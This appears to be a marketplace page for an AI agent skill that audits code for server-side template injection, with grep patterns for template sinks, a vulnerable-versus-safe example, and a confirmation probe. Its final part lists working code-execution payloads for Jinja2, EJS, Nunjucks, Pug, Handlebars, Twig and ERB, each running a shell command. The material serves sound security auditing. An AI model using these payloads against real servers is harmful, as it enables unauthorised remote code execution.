一键导入
ssti
Detect Server-Side Template Injection where user input is passed as the template string itself rather than as template variables, enabling code execution.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Detect Server-Side Template Injection where user input is passed as the template string itself rather than as template variables, enabling code execution.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Generate polished, human-sounding vulnerability disclosure reports for GHSA, HackerOne, and email. Auto-selects channel, calculates CVSS, and adapts tone.
Mine GitHub Security Advisories and CVE databases for incomplete fixes, finding variant vulnerabilities in patched code or similar patterns in related packages.
Detect authentication and authorization bypass vulnerabilities including missing auth middleware, JWT algorithm confusion, IDOR, and session fixation.
Detect code injection vulnerabilities in packages that dynamically generate or evaluate code via new Function(), eval(), vm.run*, or template literal interpolation.
Detect OS command injection via shell execution sinks where user-controlled input reaches system commands without proper sanitization.
Cross-pollination multiplier technique: find a vulnerability in one package, then search for the same pattern across all similar packages to multiply findings.
| name | ssti |
| description | Detect Server-Side Template Injection where user input is passed as the template string itself rather than as template variables, enabling code execution. |
| metadata | {"filePattern":["**/*.js","**/*.ts","**/*.py","**/*.rb","**/*.php"],"bashPattern":["grep.*(render|template|compile|Handlebars|nunjucks|ejs|Jinja)"],"priority":85} |
Audit template engines, email template systems, report generators, CMS systems, and any code that compiles templates from user input.
// VULNERABLE: user input IS the template
ejs.render(userInput, data);
// SAFE: user input is in the data, not the template
ejs.render(templateFromFile, { name: userInput });
Auto-escaping does NOT help. Auto-escaping prevents XSS in template OUTPUT, not code execution in template COMPILATION.
# JavaScript
grep -rn "Handlebars\.compile\|nunjucks\.renderString\|ejs\.render" .
grep -rn "pug\.compile\|pug\.render\|mustache\.render" .
grep -rn "template(\|compile(\|render(" . | grep -v node_modules
# Python
grep -rn "Template(\|from_string\|render_template_string" .
grep -rn "Jinja2\|jinja2\|Environment\|render_string" .
grep -rn "mako\.template\|Mako\|Template(" .
# Ruby
grep -rn "ERB\.new\|Erubi\|Slim\|Haml" .
# PHP
grep -rn "Twig.*createTemplate\|Twig.*Environment\|Blade\|Smarty" .
For each template compilation call:
Some template engines have sandboxed modes:
grep -rn "SandboxedEnvironment\|sandbox\|restricted" .
Jinja2 SandboxedEnvironment restricts attribute access but may still be bypassable.
{{7*7}}
If output contains 49, template injection confirmed.
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
<%= require('child_process').execSync('id') %>
<%= global.process.mainModule.require('child_process').execSync('id') %>
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}
#{global.process.mainModule.require('child_process').execSync('id')}
Harder to exploit in modern versions. Check for helper registration:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id')"}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
<%= system('id') %>
<%= `id` %>